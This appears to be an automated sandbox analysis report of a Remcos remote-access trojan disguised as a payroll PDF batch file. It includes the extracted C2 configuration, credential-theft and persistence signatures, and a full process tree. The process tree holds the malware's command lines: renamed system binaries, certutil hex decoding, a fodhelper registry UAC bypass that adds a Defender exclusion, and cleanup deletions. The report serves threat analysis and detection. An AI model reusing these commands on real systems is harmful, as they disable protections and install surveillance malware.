Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/07/2024, 03:52

General

  • Target
    Payroll for July.PDF.bat
  • Size 4.9MB
  • Sample240729-efkenawend
  • SHA256 68711195c07e287987488f7045c7147501ccfbae22318b8460d01a86d2f09599
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 127.0.0.1:54888

  • zuesremmy.duckdns.org:54888

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-Z19JY9

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 28 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3380
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:5112
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4328
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:2856
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:5012
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
            3⤵
            • Executes dropped EXE
            PID:4336
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3720
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
            3⤵
            • Executes dropped EXE
            PID:2616
        • C:\Users\Public\Libraries\Defux.COM
          C:\Users\Public\Libraries\Defux.COM
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3484
          • C:\Users\Public\Libraries\gspwscdY.pif
            C:\Users\Public\Libraries\gspwscdY.pif
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4260
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1FF7.tmp\2007.tmp\2008.bat C:\Users\Public\Libraries\gspwscdY.pif"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1908
              • C:\Windows\System32\extrac32.exe
                C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                5⤵
                  PID:1836
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                  5⤵
                  • Executes dropped EXE
                  PID:2336
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                  5⤵
                  • Executes dropped EXE
                  PID:4572
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:212
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                      PID:4472
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:2836
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                        PID:840
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:5032
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                          PID:1936
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c start /wait C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:4272
                        • C:\Users\Public\xkn.exe
                          C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:1872
                          • C:\Users\Public\alpha.exe
                            "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:4924
                            • C:\Users\Public\ger.exe
                              C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:644
                      • C:\Windows \System32\per.exe
                        "C:\\Windows \\System32\\per.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:2740
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        5⤵
                        • Executes dropped EXE
                        PID:5016
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4992
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                        5⤵
                        • Executes dropped EXE
                        PID:4852
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettingsAdminFlows.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1804
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 5
                        5⤵
                        • Executes dropped EXE
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:3568
                        • C:\Windows\system32\PING.EXE
                          ping 127.0.0.1 -n 5
                          6⤵
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:5032
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        5⤵
                        • Executes dropped EXE
                        PID:2788
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        5⤵
                        • Executes dropped EXE
                        PID:4812
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        5⤵
                        • Executes dropped EXE
                        PID:1616
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2168
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:4552
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:4580
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Defux.COM C:\\Users\\Public\\Libraries\\Ydcswpsg.PIF
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:1616
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\System32\colorcpl.exe
                    3⤵
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: MapViewOfSection
                    PID:4616
                    • C:\Windows\SysWOW64\colorcpl.exe
                      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\takskpihvdxedflrlpc"
                      4⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3240
                    • C:\Windows\SysWOW64\colorcpl.exe
                      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\vupdlitbjlpjgthvuspanxy"
                      4⤵
                      • Accesses Microsoft Outlook accounts
                      • System Location Discovery: System Language Discovery
                      PID:4092
                    • C:\Windows\SysWOW64\colorcpl.exe
                      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\gxdveamcxuhvqavzmdjtqctlgm"
                      4⤵
                        PID:656
                      • C:\Windows\SysWOW64\colorcpl.exe
                        C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\gxdveamcxuhvqavzmdjtqctlgm"
                        4⤵
                          PID:2928
                        • C:\Windows\SysWOW64\colorcpl.exe
                          C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\gxdveamcxuhvqavzmdjtqctlgm"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:376
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:4596
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Defux.mpeg" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:3224
                  • C:\Windows\system32\SystemSettingsAdminFlows.exe
                    "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                    1⤵
                      PID:4180

                    Network

                          MITRE ATT&CK Enterprise v15

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                          Downloads

                          logs.dat

                          • Path C:\ProgramData\remcos\logs.dat
                          • Size 144B
                          • SHA256 78e5a2007257487238061a034ea6f1af33f6fc8958bbc1508472382d14f880f7
                          • MD5 SHA1 SHA512

                          2008.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\1FF7.tmp\2007.tmp\2008.bat
                          • Size 1KB
                          • SHA256 cad29a052bcb297f5497d6c1a9d37bd938f9d3d7d75b6645f4221f379cf215ff
                          • MD5 SHA1 SHA512

                          __PSScriptPolicyTest_nbihmdll.akd.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nbihmdll.akd.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          takskpihvdxedflrlpc

                          • Path C:\Users\Admin\AppData\Local\Temp\takskpihvdxedflrlpc
                          • Size 4KB
                          • SHA256 c26d371c3209dea4e8cb298ab279746f0209643a1ef95ff627e2cfe193be838b
                          • MD5 SHA1 SHA512 SSDEEP

                          Defux.mpeg

                          • Path C:\Users\Public\Defux.mpeg
                          • Size 3.4MB
                          • SHA256 7af8dff6d15de6862d34cba46e7705275a5a07ac9bf6303f9ec917ff8811e3a7
                          • MD5 SHA1 SHA512 SSDEEP

                          Defux.COM

                          • Path C:\Users\Public\Libraries\Defux.COM
                          • Size 984KB
                          • SHA256 0bde51c2efedcc1dc13504c70a1856f6bfb904c54b9a23b87d8aad5eda6e238f
                          • MD5 SHA1 SHA512 SSDEEP

                          gspwscdY.pif

                          • Path C:\Users\Public\Libraries\gspwscdY.pif
                          • Size 66KB
                          • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                          • MD5 SHA1 SHA512 SSDEEP

                          alpha.exe

                          • Path C:\Users\Public\alpha.exe
                          • Size 283KB
                          • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                          • MD5 SHA1 SHA512 SSDEEP

                          ger.exe

                          • Path C:\Users\Public\ger.exe
                          • Size 75KB
                          • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                          • MD5 SHA1 SHA512 SSDEEP

                          kn.exe

                          • Path C:\Users\Public\kn.exe
                          • Size 1.6MB
                          • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                          • MD5 SHA1 SHA512 SSDEEP

                          xkn.exe

                          • Path C:\Users\Public\xkn.exe
                          • Size 442KB
                          • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                          • MD5 SHA1 SHA512 SSDEEP

                          per.exe

                          • Path C:\Windows \System32\per.exe
                          • Size 48KB
                          • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/376-132-0x0000000000400000-0x0000000000424000-memory.dmp

                          memory/376-131-0x0000000000400000-0x0000000000424000-memory.dmp

                          memory/376-128-0x0000000000400000-0x0000000000424000-memory.dmp

                          memory/1872-73-0x0000023F6BFD0000-0x0000023F6BFF2000-memory.dmp

                          memory/3240-124-0x0000000000400000-0x0000000000478000-memory.dmp

                          memory/3240-129-0x0000000000400000-0x0000000000478000-memory.dmp

                          memory/3240-126-0x0000000000400000-0x0000000000478000-memory.dmp

                          memory/3484-28-0x0000000000400000-0x0000000000500000-memory.dmp

                          memory/4092-130-0x0000000000400000-0x0000000000462000-memory.dmp

                          memory/4092-127-0x0000000000400000-0x0000000000462000-memory.dmp

                          memory/4092-125-0x0000000000400000-0x0000000000462000-memory.dmp

                          memory/4260-36-0x0000000000400000-0x000000000041A000-memory.dmp

                          memory/4260-122-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/4260-39-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/4260-37-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/4260-92-0x0000000000400000-0x000000000041A000-memory.dmp

                          memory/4260-33-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/4616-105-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-109-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-104-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-96-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-99-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-100-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-101-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-116-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-94-0x00000000045B0000-0x00000000055B0000-memory.dmp

                          memory/4616-110-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-138-0x0000000003060000-0x0000000003079000-memory.dmp

                          memory/4616-107-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-142-0x0000000003060000-0x0000000003079000-memory.dmp

                          memory/4616-141-0x0000000003060000-0x0000000003079000-memory.dmp

                          memory/4616-143-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-145-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-146-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-108-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-154-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-153-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-161-0x0000000000400000-0x0000000000482000-memory.dmp

                          memory/4616-162-0x0000000000400000-0x0000000000482000-memory.dmp